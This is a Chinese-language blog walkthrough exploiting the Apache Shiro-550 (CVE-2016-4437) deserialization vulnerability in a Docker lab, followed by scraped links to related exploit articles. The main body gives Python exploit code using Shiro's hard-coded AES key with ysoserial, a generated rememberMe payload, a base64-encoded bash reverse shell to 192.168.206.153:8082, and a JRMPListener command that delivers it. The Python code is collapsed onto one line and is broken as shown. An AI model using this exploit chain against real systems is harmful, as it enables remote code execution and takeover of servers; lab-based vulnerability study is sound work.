Apache-shiro漏洞利用合集
这里漏洞原理不再多进行赘述 主要是测试漏洞的利用过程
漏洞1:shiro-550 CVE-2016-4437 shiro反序列化漏洞
利用版本 Apache-shiro <1.2.4
漏洞环境docker安装
docker pull medicean/vulapps:s_shiro_1
systemctl restart docker
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
启动成功以后直接访问本地的8081端口即可
首先在登录界面输入相应的号之后点记住我 抓包
发现是存在rememberMe=deleteMe的字段的 是有可能存在shiro反序列化的
利用工具地址1:
https://github.com/insightglacier/Shiro_exploit
首先在目录下执行如下的命令
python shiro_exploit.py -u http://192.168.206.153:8081
后续使用步骤由于环境问题这里没办法实验 下一款利用工具:
(ps:很多工具已经由于不再更新了 也就不展示了 懂原理就行)
这里补充一下python的exp的代码
import sys
sys.path.append("./package")
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command): # ysoserial-0.0.6-SNAPSHOT-all.jar #文件需要在该文件目录popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command],stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])print("rememberMe={0}".format(payload.decode()))
第一步 利用python生成exp
C:\Users\86181\Desktop\Shiro550_exploit>python shiro_exp2.py 192.168.206.153:15547
rememberMe=
QT5g+CpFTCOJ/0QjKwVWk0ga4OSMMwN05U1tMde7u7XTdBpmNg8fnji+2om5WqLWljloFje4Uxnfr1tgAEcKeAYho/Y6O/F3XFCtKZDrqnbT04EcsT7RLPXPspMqumXkrT+D5rLImevLAUkB+tPi6TtcScjUTbgkeWel0pE6IjxGPPZF7MJWtpqlrJenlj0Nwp75mh1ktvOhxoKlVJf0BIS7Sk/0G0oxFsB7zRwdtcy+IF/PWnxb/V2xVmwb8auTkJkzB+Tn0y/KrbyAArXjSYKLDS3NfLhegmBTFYrtBy6D4QMnBYbkyxjhsKwkSczRerzBy076qTXDpvfXwT8vPSkGw+XRnUh3f+o79yB7TFMn6AOAr2RCks/fbP1+SgRwy6gGT4O8ou11U/YP+Zryhw==
第二步 构造nc进行监听 监听的端口是8082端口
bash -i >& /dev/tcp/192.168.206.153/8082 0>&1
进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx
替换其中的内容
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx}|{base64,-d}|{bash,-i}
继续替换 之后将此内容输入到终端 开始监听第二个交互端口15547端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 15547 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNi4xNTMvODA4MiAwPiYx}|{base64,-d}|{bash,-i}'
之后我们对web登录成功以后的界面刷新抓包 删除掉jsessionid 并且替换掉rememberme
之后nc的监听也就上线了(ps:nc要在放包之前监听 否则就晚了)
Apache-shiro漏洞利用合集相关推荐
- Apache Tomcat 漏洞利用
Apache Tomcat 漏洞利用 参考链接1 参考链接2 通过对apache tomcat的枚举和利用,我们可以从中找出漏洞,然后得到shell 枚举 在 Tomcat6 之前的某些版本中,我们可 ...
- Apache shiro 漏洞总结
目录 Shiro简介 漏洞复现 CVE-2016-4437(Apache shiro反序列化漏洞) 影响版本 指纹信息 漏洞原理 环境搭建 漏洞复现 CVE-2020-1957(Shiro 认证绕过漏 ...
- 网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御
起底Apache Log4j漏洞: 如何出现.如何被利用与如何防御 受影响平台: 任何使用Log4j2漏洞版本的应用程序和服务 受影响用户: 任何使用Log4j的具备该漏洞版本的组织 影响: 远程攻击 ...
- Struts2漏洞复现合集
1. Struts2简介 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图 ...
- 【Java】代码中的安全漏洞解决合集(更新中)
汝之观览,吾之幸也!本文主要讲解Java的一些安全漏洞,并且给出浅知的解决方案. 具体国内的风险可查看网址工业和信息化部网络安全威胁和漏洞信息共享平台 1.Spring Framework反射型文件下 ...
- java struts2 漏洞复现合集
目录 一.S2-001复现 二.S2-005复现 三.S2-007复现 四.S2-008复现 五.S2-009复现 六.S2-012复现 七.S2-013复现 八.S2-015复现 九.S2-016复 ...
- php cgi漏洞,CGI漏洞攻击合集上
Filename: README.patch.3018 Algorithm #1 (sum -r): 37955 11 README.patch.3018 Algorithm #2 (sum): 15 ...
- 通达OA漏洞分析合集
一.产品介绍 通达OA是一套使用比较广泛的办公系统.随着国家护网的开展,通达OA成为渗透人员优先尝试的目标,暴露出了大量漏洞,以下进行介绍. 二.渗透手段 1.通达OA版本/系统信息泄露 判断通达版本 ...
- Apache Shiro漏洞检测(CVE-2016-4437)
一.环境 1.1 环境搭建 vulhub搭建 [注: 此博客只做学习记录,原理请自行百度 ] 这里贴一篇吧 1.2 工具 python版本:https://github.com/insightglac ...
最新文章
- Linux 初始root密码设置
- SQL中的CASE WHEN语句
- 【NLP】BERT 模型与中文文本分类实践
- react hook问题讲解
- mysql历史日志文件_MySQL 历史 binlog 日志处理
- Android之CSDN 牛人博客索引
- 最新软件工程总结,项目模板,软工作业下载
- Xamarin Android Webview中JS调用App中的C#方法
- M-SQL:超强的多任务表示学习方法
- Linux内核网络协议栈:udp数据包发送(源码解读)
- python括号是中文还是英文_python括号区别
- (转)测试用例的设计方法(全)之三 判定表、正交实验
- 从零开始搭二维激光SLAM --- 总结
- Linux 系统磁盘满处理方法
- JQuery each详细用法
- 73本免费的、语言无关的优秀的编程书籍
- 好程序员web前端培训分享JavaScript学习指南
- 黑莓手机刷linux,黑莓老机型ROM刷机资源
- 正易判讀 6-2 韓長庚 著
- 腾讯微信面试题:侧重科班基础
热门文章
- XXX.jar中没有主清单属性 问题解决
- jvm学习 Shenandoah垃圾收集器
- 高性能软磁材料——非晶合金
- 金融量化— 简单均值回归策略(Mean Reverting Strategy)
- 【git认证错误】fatal: Authentication failed for ‘http://gitlab.gwm.cn/les-zt/middleware/erp_upload.git/‘
- 过审AppStore到底有多痛,经历过就知道了!
- Java炒鸡重要知识点:多态!!!
- <%%>、<%=%>、<%:%>各是什么意思?分别用来实现什么的?
- 【Java基础系列】6- 选择结构与分支结构
- JAVA进程突然挂掉